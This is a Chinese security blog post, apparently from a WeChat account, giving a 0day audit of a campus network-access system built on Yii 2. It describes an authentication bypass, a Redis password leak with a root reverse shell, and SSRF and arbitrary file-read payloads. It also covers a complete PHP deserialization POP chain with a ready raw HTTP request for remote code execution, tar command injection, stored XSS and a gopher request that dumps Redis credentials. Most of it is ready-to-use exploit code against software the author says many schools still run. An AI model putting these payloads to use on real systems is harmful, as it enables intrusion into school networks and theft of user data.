我二月份左右挖的洞,之前放出部分漏洞,现在还是挺多学校在用,不过一般都在内网,界面如下:
发现学校用的就是这套系统,取得授权后遂对其进行研究,首先全端口扫描,发现其80 8080 8083 8090 8000 3506 这些端口开放.
访问8083发现是一个网关认证的系统,直接修改返回包绕过登录进去
然后通过SuperSearchPlusTools扫到一些api敏感接口,直接一个个去访问
直接拿到Redis的密码,然后计划任务反弹shell一把梭,权限还挺高,直接root权限.
翻遍其服务器,拿到整套联网准入系统的安装包,发现只能在Centos 7中运行,于是开个虚拟机进行搭建审计.
漏洞点1:
首先发现该系统框架为Yii 2.0.45,这个版本比较高,但整体还是有反序列化漏洞的,而且不同端口还有搭建不同系统.
我们先对其管理系统的控制器扫一遍危险函数,直接在\center\controllers\DemoController.php 控制器下找到了Proxy方法调用curl_exec 且并未鉴权导致任意文件读取SSRF等漏洞(支持file dict gopher协议)class DemoController extends ActiveController{ public $modelClass = 'center\models\Demo'; public function actionTest(){ return 'Hello World!'; } // php代理 实现get post请求 public function actionProxy(){ $rs = []; if(\Yii::$app->request->isPost){ $url = \Yii::$app->request->post('url'); $post_data = \Yii::$app->request->post(); $rs = $this->post($url,$post_data); }elseif (\Yii::$app->request->isGet){ $url = \Yii::$app->request->get('url'); $rs = $this->get($url); } return $rs; } // get private function get($url){ //初始化 $ch = curl_init(); //设置选项,包括URL curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); //执行并获取HTML文档内容 $output = curl_exec($ch); //释放curl句柄 curl_close($ch); return $output; }
Payload:/demo/proxy?url=file:///etc/passwd
读取数据库文件:
漏洞点2:
在 \center\controllers\ValidateController.php 访问总控制器中写了一些可以直接不鉴权的接口./** * 访问控制总控制器,所有的控制器的父类 * @todo 忽略列表需要补充完全 */class ValidateController extends CommonController{ // 忽略列表,列表中不做权限验证 private $ignoreList = [ 'strategy/package/check', 'user/group/down-load', //下载用户批量操作结果 'auth/structure/ajax', //获取组织结构 'auth/structure/node', 'auth/structure/check-node',//用户组节点删除 'report/welcome/index', //欢迎页面 'strategy/product/getbillnum', //获取产品勾选的计费策略所需的金额 'financial/refund/getprobal', //查询产品可退余额 'user/base/getprofee', //查询用户产品的包月费 'financial/pay/printnumadd', //缴费清单打印次数累加 'message/mesgploy/lists', //ajax 消息策略. 'strategy/product/ajaxcheckmode',//获取产品结算模式的选项 'financial/manualcheckout/ajaxedit',//ajax修改手动结算页面结算日期 'user/base/checkusername',//添加用户时检测用户名是否重复 'financial/pay/ajax-get-paytypes',//缴费时对缴费方式的切换 'strategy/condition/get-key',//用户详情查看动态条件 'auth/assign/get-type', //勾选管理员 'auth/assign/verify-password', //验证密码 'user/group/ajax-get-products-by-group',//根据用户组选择绑定的产品 'strategy/product/get-used-num',//获取产品使用人数 'strategy/condition/get-value-by-user',//用户详情页查看动态条件值 'log/prochange/ajax-del-next-product',//用户详情页删除下个产品日志 'log/prochange/ajax-get-next-product',//用户详情页获取下个产品 'user/group/get-product-by-bind-group',//用户组查看产品绑定 'financial/refund/print',//用户打印退费票据 'auth/assign/ajax-mgr-product-by-id',//ajax获取指定管理员可管理的产品 'message/booking/search',//创建预约任务单独用户搜索 'report/system/get-one-detail', //实时监控获取某台机器监控详情 'report/system/ajax-get-one-type-status', //实时监控获取某台机器某个类型监控详情 'report/system/ajax-get-all-data', //实时监控页面ajax加载所有机器运行状态 'report/system/image-save', //保存echarts图片到机器 'report/actual/download', //导出在网人数 'user/batch/ip-nums-ajax',//开户查询ip可绑定个数 //ip段绑定产品和用户组 'strategy/ip/product-list', 'strategy/ip/no-bind-list', 'strategy/ip/yes-bind-list', 'strategy/ip/bind-product', 'strategy/ip/cancel-bind-product', 'strategy/ip/batch-delete', 'strategy/ip/get-more', 'strategy/ip/bind-ip', 'strategy/ip/cancel-bind-ip', 'user/base/operate',//用户详情ajax操作 'user/batch/download', //下载模板, 'user/batch/preview',//预览 'user/batch/operate',//预览后提交 'user/batch/print-pay',//批量打印 'user/batch/export',//按用户组批量导出 'user/batch/refund',//按用户组批量退费 'user/batch/checkout',//按用户组批量结算 'setting/portal/qrcode',//二维码预览 'setting/portal/generate-qr-code',//二维码生成 'visitor/conference/athorization', // 授权ajax 'visitor/conference/generate-qr-code', // 生成二维码 'user/user-setting/set-pwd-strong',//用户资料设置 'user/user-setting/set-pwd-change-first',//用户资料设置 'user/user-setting/set-pwd-change-way',//用户资料设置 'report/dashboard/user-detail',//系统概况4种用户统计明细查看 'hardware/hardware-token/preview', //'硬件令牌预览' 'hardware/hardware-token/operate', //'硬件令牌批量添加' 'hardware/hardware-token/download', //'硬件令牌管理' 'user/user-setting/set-group-pwd-change', // 用户资料设置-指定用户组设置 'user/base/ajax-get-user-info' ];
一个个看一遍这些控制器有无可利用空间.
于是在 \center\modules\user\controllers\GroupController.php 发现了文件读取操作 只需要GET传参file即可读取任意文件.public function actionDownLoad(){ //下载文件 if (Yii::$app->request->get('file')) { return Yii::$app->response->sendFile(Yii::$app->request->get('file')); } if (Yii::$app->session->get('batch_excel_download_file')) { return Yii::$app->response->sendFile(Yii::$app->session->get('batch_excel_download_file')); } else { Yii::$app->getSession()->setFlash('error', Yii::t('app', 'batch excel help31')); } return $this->redirect(['index']); }
Payload(注意,这里一定要用burp去打):/user/group/down-load?file=/etc/passwd
看起来302 Found跳转了 其实已经读取到文件咯.
在 \center\modules\strategy\controllers\IpController.php 控制器中 直接构建了POST传入参数data1反序列化,并且正好该接口处于被忽略鉴权的白名单中.
并且该控制器两个方法都可直接反序列化public function actionBindIp(){$data1 = unserialize(Yii::$app->request->post('data1'));.........}public function actionCancelBindIp(){$data1 = unserialize(Yii::$app->request->post('data1'));...}
这套系统加了⼀些 vendor ,同时也删除了⼀些 Yii 自带的
vendor ,所以只能靠我们自己挖⼀条链子出来
直接构造POP反序列化链子:<?phpnamespace yii\base { class Component { private $_events = array(); private $_behaviors = 1; public function __construct() { include("./vendor/opis/closure/autoload.php"); $func = function() { $cmd = 'touch /tmp/hacker'; system($cmd); } ; $raw = \Opis\Closure\serialize($func); $data=\Opis\Closure\unserialize($raw); $this->_events = ["afterOpen" => [[ $data, "huahua" ]]]; } }}namespace yii\redis { use yii\base\Component; class Connection extends Component { public $redisCommands = []; public $hostname = ''; public $port; public $password; public $username; public $connectionTimeout; public $dataTimeout; public $database; public $unixSocket; private $_socket; public function __construct() { $this->redisCommands = array('CLEAN UP'); $this->_socket = false; $this->hostname = '127.0.0.1'; $this->port = 8001; //能够连通的任意本地服务的端⼝ $this->unixSocket = false; $this->connectionTimeout = 5; parent::__construct(); } }}namespace setasign\Fpdi\PdfReader { use yii\redis\Connection; class PdfReader { protected $parser; public function __construct() { $this->parser = new Connection; } } include("./vendor/opis/closure/autoload.php"); echo urlencode(\Opis\Closure\serialize(new PdfReader));}?>
生成完POP链即可直接打
Payload(注意Content-Type附加头不能忘记打,否则会失败):POST /strategy/ip/bind-ip HTTP/2Host: 192.168.10.101:8080Cookie: lang=zh-CN; PHPSESSID_8080=f434cd5f5e9befe38ab3d688b49eacb5; _csrf-8080=515a2ce1d579e3eb33de0fb00d2eddb40cbfb5db938eb248ddaa2069ed9ba803a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22_csrf-8080%22%3Bi%3A1%3Bs%3A32%3A%22zKeB2l7C4-gTmKM4dulmKqnWGCnlHFDP%22%3B%7DCache-Control: max-age=0Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Content-Length: 1265data1=O%3A33%3A%22setasign%5CFpdi%5CPdfReader%5CPdfReader%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00parser%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22CLEAN+UP%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A8001%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A218%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A71%3A%22function%28%29+%7B%0D%0A%09%09%09%09%24cmd+%3D+%27touch+%2Ftmp%2Fhacker%27%3B%0D%0A%09%09%09%09%5Csystem%28%24cmd%29%3B%0D%0A%09%09%09%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A18%3A%22yii%5Cbase%5CComponent%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000005f18709a000000006fad7a89%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22huahua%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7D%7D
这里不分析了,过于简单,在登陆页面用户名处填入xss语句即可插入
但是需要站长点击日志管理-操作日志才能弹出XSS语句 鸡肋.
public function actionIndex(){ $get = Yii::$app->request->get(); if ($get) { $get = array_values($get)[0]; //判断用户使用下载过文件 $session = Yii::$app->session; $ip = Yii::$app->request->userIP; if ($session[$ip]) { if ((time() - $session[$ip] < 5)) { $session[$ip] = time(); Yii::$app->getSession()->setFlash('error', Yii::t('app', 'portal_help6')); return $this->redirect('index'); } else { $session[$ip] = time(); } } else { $session[$ip] = time(); } $file_name = $get['name'] . '.tar.gz'; // tar zcvf xxx.tar.gz portal/srun/xxx $cmd = 'tar zcvf ' . $file_name . ' portal/' . $get['p'] . '/' . $get['name']; exec($cmd); Yii::$app->response->sendFile($file_name); exec('rm -rf ' . $file_name); }
这就让我们实际上要传入二维数据 不能是一维的,不然只能获取到第一个字符.
Payload:/setting/portal/index?name[name]=a;id>/tmp/id.txt;
可以直接通过gopher协议直接查询redis里的数据,就算是授权型的也能打,可以用Wireshark抓包来构造协议即可./demo/proxy?url=gopher%3A//127.0.0.1%3Axxx/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%252415%250D%250Asrun_3000%2540redis%250D%250A%252A2%250D%250A%25247%250D%250AHGETALL%250D%250A%252428%250D%250Ahash%253AapiAuthV2%253Asrunsoft%253Ainfo%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
||关注公众号,持续更新最新漏洞文章||
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
Scan to Follow